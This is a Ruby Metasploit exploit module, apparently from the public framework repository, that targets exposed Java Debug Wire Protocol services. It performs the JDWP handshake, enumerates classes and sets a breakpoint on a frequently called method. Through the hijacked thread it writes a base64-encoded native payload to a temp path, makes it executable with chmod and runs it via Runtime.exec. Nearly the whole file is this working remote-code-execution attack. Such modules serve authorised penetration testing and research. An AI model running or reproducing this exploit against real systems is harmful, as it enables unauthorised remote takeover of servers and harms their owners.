## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::EXE include Msf::Exploit::FileDropper HANDSHAKE = "JDWP-Handshake" REQUEST_PACKET_TYPE = 0x00 REPLY_PACKET_TYPE = 0x80 # Command signatures VERSION_SIG = [1, 1] CLASSESBYSIGNATURE_SIG = [1, 2] ALLCLASSES_SIG = [1, 3] ALLTHREADS_SIG = [1, 4] IDSIZES_SIG = [1, 7] CREATESTRING_SIG = [1, 11] SUSPENDVM_SIG = [1, 8] RESUMEVM_SIG = [1, 9] SIGNATURE_SIG = [2, 1] FIELDS_SIG = [2, 4] METHODS_SIG = [2, 5] GETVALUES_SIG = [2, 6] CLASSOBJECT_SIG = [2, 11] INVOKESTATICMETHOD_SIG = [3, 3] CREATENEWINSTANCE_SIG = [3, 4] REFERENCETYPE_SIG = [9, 1] INVOKEMETHOD_SIG = [9, 6] STRINGVALUE_SIG = [10, 1] THREADNAME_SIG = [11, 1] THREADSUSPEND_SIG = [11, 2] THREADRESUME_SIG = [11, 3] THREADSTATUS_SIG = [11, 4] EVENTSET_SIG = [15, 1] EVENTCLEAR_SIG = [15, 2] EVENTCLEARALL_SIG = [15, 3] # Other codes MODKIND_COUNT = 1 MODKIND_THREADONLY = 2 MODKIND_CLASSMATCH = 5 MODKIND_LOCATIONONLY = 7 EVENT_BREAKPOINT = 2 SUSPEND_EVENTTHREAD = 1 SUSPEND_ALL = 2 NOT_IMPLEMENTED = 99 VM_DEAD = 112 INVOKE_SINGLE_THREADED = 2 TAG_OBJECT = 76 TAG_STRING = 115 TYPE_CLASS = 1 TAG_ARRAY = 91 TAG_VOID = 86 def initialize super( 'Name' => 'Java Debugging Wire Protocol Scanner', 'Description' => %q{ This module abuses exposed Java Debugging Wire Protocol services in order to execute code remotely. }, 'Author' => [ 'Christophe Alladoum', # Exploit 'Redsadic ' # Metasploit Module ], 'References' => [ ['http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html'], ['http://www.exploit-db.com/papers/27179/'], ['https://svn.nmap.org/nmap/scripts/jdwp-exec.nse'], ['http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html'] ], 'DisclosureDate' => 'May 29 2014', 'License' => MSF_LICENSE, 'Platform' => %w{ linux win }, 'Privileged' => true, 'Payload' => { 'BadChars' => '', 'DisableNops' => true }, 'Targets' => [ [ 'Windows x86 (Native Payload)', { 'Platform' => 'win', 'Arch' => ARCH_X86, } ], [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', 'Arch' => ARCH_X86, } ] ], 'DefaultTarget' => 1 ) register_options( [ Opt::RPORT(8000), OptInt.new('STATUS_EVERY', [true, 'How many iterations until status', 1000]), OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]), OptString.new('TMP_PATH', [ false, 'Overwrite the temp path for the file upload. Ensure there is a trailing slash', nil]) ], self.class) register_advanced_options( [ OptString.new('BREAK_CLASS', [ true, 'Frequently called method for setting breakpoint', 'java.net.ServerSocket.accept' ]), OptInt.new('BREAK_AUTOHIT_PORT', [ false, 'If debugging an application accessible from network and breakpoint is on socket accept, set the port of the app to force a socket connection', nil ]), OptInt.new('BREAK_TIMEOUT', [true, 'Number of seconds to wait for a breakpoint hit', 30]), OptInt.new('NUM_RETRIES', [true, 'Number of retries when waiting for event', 10]) ], self.class) end def check connect vprint_status("#{peer} - Checking for Java Debugging Wire Protocol") res = handshake disconnect unless res vprint_error("Unable to determine due to a connection timeout") return Exploit::CheckCode::Unknown end return Exploit::CheckCode::Appears if res == HANDSHAKE return Exploit::CheckCode::Safe end def peer return "#{rhost}:#{rport}" end # Establishes handshake with the server def handshake sock.put(HANDSHAKE) return sock.get(datastore['RESPONSE_TIMEOUT']) end # Forges packet for JDWP protocol def create_packet(cmdsig, data="") flags = 0x00 cmdset, cmd = cmdsig pktlen = data.length + 11 buf = [pktlen, @my_id, flags, cmdset, cmd] pkt = buf.pack("NNCCC") pkt << data @my_id += 2 return pkt end # Reads packet response for JDWP protocol def read_reply(timeout) response = sock.get(timeout) fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response pktlen,id,flags,errcode = response.unpack('NNCn') response.slice!(0..10) fail_with(Failure::Unknown, "Server sent error with code #{errcode}") if (errcode != 0) && (flags == REPLY_PACKET_TYPE) return response end # Returns the characters contained in the string defined in target VM def solve_string(data) sock.put(create_packet(STRINGVALUE_SIG, data)) response = read_reply(datastore['RESPONSE_TIMEOUT']) return "" unless response return read_string(response) end # Unpacks received string structure from the server response into a normal string def read_string(data) data_len = data.unpack('N')[0] data.slice!(0..3) return data.slice!(0,data_len) end # Creates a new string object in the target VM and returns its id def create_string(data) buf = build_string(data) sock.put(create_packet(CREATESTRING_SIG, buf)) buf = read_reply(datastore['RESPONSE_TIMEOUT']) return parse_entries(buf, [[@vars['objectid_size'], "obj_id"]], false) end # Packs normal string into string structure for target VM def build_string(data) ret = [data.length].pack('N') ret << data return ret end # Pack Fixnum for JDWP protocol def format(fmt, value) if fmt == "L" || fmt == 8 return [value].pack('Q>') elsif fmt == "I" || fmt == 4 return [value].pack('N') end fail_with(Failure::Unknown, "Unknown format") end # Unpack Fixnum from JDWP protocol def unformat(fmt, value) if fmt == "L" || fmt == 8 return value[0..7].unpack('Q>')[0] elsif fmt == "I" || fmt == 4 return value[0..3].unpack('N')[0] end fail_with(Failure::Unknown, "Unknown format") end # Parses given data according to a set of formats def parse_entries(buf, formats, explicit=true) entries = [] if explicit nb_entries = buf.unpack('N')[0] buf.slice!(0..3) else nb_entries = 1 end nb_entries.times do |var| print_status("#{peer} - #{Time.now.getutc} - Parsed #{var} classes of #{nb_entries}") if var != 0 && var % datastore['STATUS_EVERY'] == 0 data = {} formats.each do |fmt,name| if fmt == "L" or fmt == 8 data[name] = buf.unpack('Q>')[0] buf.slice!(0..7) elsif fmt == "I" or fmt == 4 data[name] = buf.unpack('N')[0] buf.slice!(0..3) elsif fmt == "S" data_len = buf.unpack('N')[0] buf.slice!(0..3) data[name] = buf.slice!(0,data_len) elsif fmt == "C" data[name] = buf.unpack('C')[0] buf.slice!(0) elsif fmt == "Z" t = buf.unpack('C')[0] buf.slice!(0) if t == 115 data[name] = solve_string(buf.slice!(0..7)) elsif t == 73 data[name], buf = buf.unpack('NN') end else fail_with(Failure::UnexpectedReply, "Unexpected data when parsing server response") end end entries.append(data) end return entries end # Gets the sizes of variably-sized data types in the target VM def idsizes sock.put(create_packet(IDSIZES_SIG)) response = read_reply(datastore['RESPONSE_TIMEOUT']) formats = [ ["I", "fieldid_size"], ["I", "methodid_size"], ["I", "objectid_size"], ["I", "referencetypeid_size"], ["I", "frameid_size"] ] entries = parse_entries(response, formats, false) entries.each { |e| @vars.merge!(e) } end # Gets the JDWP version implemented by the target VM def get_version sock.put(create_packet(VERSION_SIG)) response = read_reply(datastore['RESPONSE_TIMEOUT']) formats = [ ["S", "descr"], ["I", "jdwp_major"], ["I", "jdwp_minor"], ["S", "vm_version"], ["S", "vm_name"] ] entries = parse_entries(response, formats, false) entries.each { |e| @vars.merge!(e) } end def version return "#{@vars["vm_name"]} - #{@vars["vm_version"]}" end # Returns reference types for all classes currently loaded by the target VM def get_all_classes return unless @classes.empty? sock.put(create_packet(ALLCLASSES_SIG)) response = read_reply(datastore['RESPONSE_TIMEOUT']) formats = [ ["C", "reftype_tag"], [@vars["referencetypeid_size"], "reftype_id"], ["S", "signature"], ["I", "status"] ] print_status("#{peer} - Parsing list of classes...") @classes.append(parse_entries(response, formats)) end # Checks if specified class is currently loaded by the target VM and returns it def get_class_by_name(name) @classes.each do |entry_array| entry_array.each do |entry| return entry if entry["signature"].downcase == name.downcase end end nil end # Returns information for each method in a reference type (ie. object). Inherited methods are not included. # The list of methods will include constructors (identified with the name "") def get_methods(reftype_id) unless @methods.has_key?(reftype_id) refid = format(@vars["referencetypeid_size"],reftype_id) sock.put(create_packet(METHODS_SIG, refid)) response = read_reply(datastore['RESPONSE_TIMEOUT']) formats = [ [@vars["methodid_size"], "method_id"], ["S", "name"], ["S", "signature"], ["I", "mod_bits"] ] @methods[reftype_id] = parse_entries(response, formats) end return @methods[reftype_id] end # Checks if specified method is currently loaded by the target VM and returns it def get_method_by_name(classname, name, signature = nil) @methods[classname].each do |entry| if signature.nil? return entry if entry["name"].downcase == name.downcase else return entry if (entry["name"].downcase == name.downcase) && (entry["signature"].downcase == signature.downcase) end end nil end # Checks if specified class and method are currently loaded by the target VM and returns them def get_class_and_method(looked_class, looked_method, signature = nil) target_class = get_class_by_name(looked_class) fail_with(Failure::Unknown, "Class \"#{looked_class}\" not found") unless target_class get_methods(target_class["reftype_id"]) target_method = get_method_by_name(target_class["reftype_id"], looked_method, signature) fail_with(Failure::Unknown, "Method \"#{looked_method}\" not found") unless target_method return target_class, target_method end # Transform string contaning class and method(ie. from "java.net.ServerSocket.accept" to "Ljava/net/Serversocket;" and "accept") def str2fqclass(s) i = s.rindex(".") fail_with(Failure::BadConfig, 'Bad defined break class') unless i method = s[i+1..-1] # Subtr of s, from last '.' to the end of the string classname = 'L' classname << s[0..i-1].gsub(/[.]/, '/') classname << ';' return classname, method end # Resumes execution of the application after the suspend command or an event has stopped it def resume_vm sock.put(create_packet(RESUMEVM_SIG)) response = read_reply(datastore['RESPONSE_TIMEOUT']) fail_with(Exploit::Failure::Unknown, "No network response") unless response end # Sets an event request. When the event described by this request occurs, an event is sent from the target VM def send_event(event_code, args) data = [event_code].pack('C') data << [SUSPEND_ALL].pack('C') data << [args.length].pack('N') args.each do |kind,option| data << [kind].pack('C') data << option end sock.put(create_packet(EVENTSET_SIG, data)) response = read_reply(datastore['RESPONSE_TIMEOUT']) fail_with(Exploit::Failure::Unknown, "No network response") unless response return response.unpack('N')[0] end # Waits user defined time for an event sent from the target VM (or force event if possible) def wait_for_event force_net_event unless datastore['BREAK_AUTOHIT_PORT'].nil? || (datastore['BREAK_AUTOHIT_PORT'] == 0) buf = read_reply(datastore['BREAK_TIMEOUT']) return buf end # Force a network event for hitting breakpoint when object of debugging is a network app and break class is socket def force_net_event vprint_status("#{peer} - Forcing network event over #{datastore['BREAK_AUTOHIT_PORT']}") rex_socket = Rex::Socket::Tcp.create( 'PeerHost' => rhost, 'PeerPort' => datastore['BREAK_AUTOHIT_PORT'], ) rex_socket.put(rand_text_alphanumeric(4 + rand(4))) rex_socket.shutdown end # Parses a received event and compares it with the expected def parse_event_breakpoint(buf, event_id) r_id = buf[6..9].unpack('N')[0] return nil unless event_id == r_id len = @vars["objectid_size"] t_id = unformat(len,buf[10..10+len-1]) return r_id, t_id end # Clear a defined event request def clear_event(event_code, r_id) data = [event_code].pack('C') data << [r_id].pack('N') sock.put(create_packet(EVENTCLEAR_SIG, data)) read_reply(datastore['RESPONSE_TIMEOUT']) end # Invokes a static method. The method must be member of the class type or one of its superclasses, # superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods can be invoked. def invoke_static(class_id, thread_id, meth_id, args = []) data = format(@vars["referencetypeid_size"], class_id) data << format(@vars["objectid_size"], thread_id) data << format(@vars["methodid_size"], meth_id) data << [args.length].pack('N') args.each do |arg| data << arg data << [0].pack('N') end sock.put(create_packet(INVOKESTATICMETHOD_SIG, data)) buf = read_reply(datastore['RESPONSE_TIMEOUT']) return buf end # Invokes a instance method. The method must be member of the object's type or one of its superclasses, # superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods can be invoked. def invoke(obj_id, thread_id, class_id, meth_id, args = []) data = format(@vars["objectid_size"], obj_id) data << format(@vars["objectid_size"], thread_id) data << format(@vars["referencetypeid_size"], class_id) data << format(@vars["methodid_size"], meth_id) data << [args.length].pack('N') args.each do |arg| data << arg data << [0].pack('N') end sock.put(create_packet(INVOKEMETHOD_SIG, data)) buf = read_reply(datastore['RESPONSE_TIMEOUT']) return buf end # Creates a new object of specified class, invoking the specified constructor. The constructor method ID must be a member of the class type. def create_instance(class_id, thread_id, meth_id, args = []) data = format(@vars["referencetypeid_size"], class_id) data << format(@vars["objectid_size"], thread_id) data << format(@vars["methodid_size"], meth_id) data << [args.length].pack('N') args.each do |arg| data << arg data << [0].pack('N') end sock.put(create_packet(CREATENEWINSTANCE_SIG, data)) buf = read_reply(datastore['RESPONSE_TIMEOUT']) return buf end def temp_path return nil unless datastore['TMP_PATH'] unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\') fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH') end datastore['TMP_PATH'] end # Configures payload according to targeted architecture def setup_payload # 1. Setting up generic values. payload_exe = rand_text_alphanumeric(4 + rand(4)) pl_exe = generate_payload_exe # 2. Setting up arch specific... case target['Platform'] when 'linux' path = temp_path || '/tmp/' payload_exe = "#{path}#{payload_exe}" when 'windows' path = temp_path || './' payload_exe = "#{path}#{payload_exe}.exe" else fail_with(Failure::NoTarget, 'Unsupported target platform') end return payload_exe, pl_exe end # Invokes java.lang.System.getProperty() for OS fingerprinting purposes def fingerprint_os(thread_id) size = @vars["objectid_size"] # 1. Creates a string on target VM with the property to be getted cmd_obj_ids = create_string("os.name") fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0 cmd_obj_id = cmd_obj_ids[0]["obj_id"] # 2. Gets property data = [TAG_OBJECT].pack('C') data << format(size, cmd_obj_id) data_array = [data] runtime_class , runtime_meth = get_class_and_method("Ljava/lang/System;", "getProperty") buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array) fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected String") unless buf[0] == [TAG_STRING].pack('C') str = unformat(size, buf[1..1+size-1]) @os = solve_string(format(@vars["objectid_size"],str)) end # Creates a file on the server given a execution thread def create_file(thread_id, filename) cmd_obj_ids = create_string(filename) fail_with(Failure::Unknown, "Failed to allocate string for filename") if cmd_obj_ids.length == 0 cmd_obj_id = cmd_obj_ids[0]["obj_id"] size = @vars["objectid_size"] data = [TAG_OBJECT].pack('C') data << format(size, cmd_obj_id) data_array = [data] runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "", "(Ljava/lang/String;)V") buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array) fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C') file = unformat(size, buf[1..1+size-1]) fail_with(Failure::Unknown, "Failed to create file. Try to change the TMP_PATH") if file.nil? || (file == 0) register_files_for_cleanup(filename) return file end # Stores the payload on a new string created in target VM def upload_payload(thread_id, pl_exe) size = @vars["objectid_size"] runtime_class , runtime_meth = get_class_and_method("Lsun/misc/BASE64Decoder;", "") buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"]) fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C') decoder = unformat(size, buf[1..1+size-1]) fail_with(Failure::Unknown, "Failed to create Base64 decoder object") if decoder.nil? || (decoder == 0) cmd_obj_ids = create_string("#{Rex::Text.encode_base64(pl_exe)}") fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0 cmd_obj_id = cmd_obj_ids[0]["obj_id"] data = [TAG_OBJECT].pack('C') data << format(size, cmd_obj_id) data_array = [data] runtime_class , runtime_meth = get_class_and_method("Lsun/misc/CharacterDecoder;", "decodeBuffer", "(Ljava/lang/String;)[B") buf = invoke(decoder, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array) fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected ByteArray") unless buf[0] == [TAG_ARRAY].pack('C') pl = unformat(size, buf[1..1+size-1]) return pl end # Dumps the payload on a opened server file given a execution thread def dump_payload(thread_id, file, pl) size = @vars["objectid_size"] data = [TAG_OBJECT].pack('C') data << format(size, pl) data_array = [data] runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "write", "([B)V") buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array) fail_with(Failure::Unknown, "Exception ocurred when writing to file") unless buf[0] == [TAG_VOID].pack('C') end # Closes a file on the server given a execution thread def close_file(thread_id, file) size = @vars["objectid_size"] runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "close") buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"]) fail_with(Failure::Unknown, "Exception ocurred when closing file") unless buf[0] == [TAG_VOID].pack('C') end # Executes a system command on target VM making use of java.lang.Runtime.exec() def execute_command(thread_id, cmd) size = @vars["objectid_size"] # 1. Creates a string on target VM with the command to be executed cmd_obj_ids = create_string(cmd) fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0 cmd_obj_id = cmd_obj_ids[0]["obj_id"] # 2. Gets Runtime context runtime_class , runtime_meth = get_class_and_method("Ljava/lang/Runtime;", "getRuntime") buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"]) fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C') rt = unformat(size, buf[1..1+size-1]) fail_with(Failure::Unknown, "Failed to invoke Runtime.getRuntime()") if rt.nil? || (rt == 0) # 3. Finds and executes "exec" method supplying the string with the command exec_meth = get_method_by_name(runtime_class["reftype_id"], "exec") fail_with(Failure::BadConfig, "Cannot find method Runtime.exec()") if exec_meth.nil? data = [TAG_OBJECT].pack('C') data << format(size, cmd_obj_id) data_array = [data] buf = invoke(rt, thread_id, runtime_class["reftype_id"], exec_meth["method_id"], data_array) fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C') end # Sets a breakpoint on frequently called method (user-defined) def set_breakpoint vprint_status("#{peer} - Setting breakpoint on class: #{datastore['BREAK_CLASS']}") # 1. Gets reference of the method where breakpoint is going to be setted classname, method = str2fqclass(datastore['BREAK_CLASS']) break_class = get_class_by_name(classname) fail_with(Failure::NotFound, "Could not access #{datastore['BREAK_CLASS']}, probably is not used by the application") unless break_class get_methods(break_class["reftype_id"]) m = get_method_by_name(break_class["reftype_id"], method) fail_with(Failure::BadConfig, "Method of Break Class not found") unless m # 2. Sends event request for this method loc = [TYPE_CLASS].pack('C') loc << format(@vars["referencetypeid_size"], break_class["reftype_id"]) loc << format(@vars["methodid_size"], m["method_id"]) loc << [0,0].pack('NN') data = [[MODKIND_LOCATIONONLY, loc]] r_id = send_event(EVENT_BREAKPOINT, data) fail_with(Failure::Unknown, "Could not set the breakpoint") unless r_id return r_id end # Uploads & executes the payload on the target VM def exec_payload(thread_id) # 0. Fingerprinting OS fingerprint_os(thread_id) vprint_status("#{peer} - Executing payload on \"#{@os}\", target version: #{version}") # 1. Prepares the payload payload_exe, pl_exe = setup_payload # 2. Creates file on server for dumping payload file = create_file(thread_id, payload_exe) # 3. Uploads payload to the server pl = upload_payload(thread_id, pl_exe) # 4. Dumps uploaded payload into file on the server dump_payload(thread_id, file, pl) # 5. Closes the file on the server close_file(thread_id, file) # 5b. When linux arch, give execution permissions to file cmd = "chmod +x #{payload_exe}" execute_command(thread_id, cmd) if target['Platform'] == 'linux' # 6. Executes the dumped payload cmd = "#{payload_exe}" execute_command(thread_id, cmd) end def exploit @my_id = 0x01 @vars = {} @classes = [] @methods = {} @os = nil fail_with(Failure::NotVulnerable, "#{peer} - Doesn't seem to be vulnerable") if check == Exploit::CheckCode::Safe # To avoid connection refused due to previously opened connection during check Rex::sleep(1) connect fail_with(Failure::UnexpectedReply, "Unexpected reply while executing the handshake") unless handshake == HANDSHAKE # 1. Get the sizes of variably-sized data types in the target VM idsizes # 2. Get the version of the target VM get_version # 3. Get all currently loaded classes by the target VM get_all_classes # 4. Sets a breakpoint on frequently called method (user-defined) r_id = set_breakpoint # 5. Resume VM and wait for event resume_vm secs = datastore['BREAK_TIMEOUT'] ret = "" datastore['NUM_RETRIES'].times do |i| print_status("#{peer} - Waiting for breakpoint hit #{i} during #{secs} seconds...") buf = wait_for_event ret = parse_event_breakpoint(buf, r_id) break unless ret.nil? end r_id, t_id = ret vprint_status("#{peer} - Received matching event from thread #{t_id}") # 6. Clears event clear_event(EVENT_BREAKPOINT, r_id) # 7. Drop & execute payload exec_payload(t_id) resume_vm disconnect end end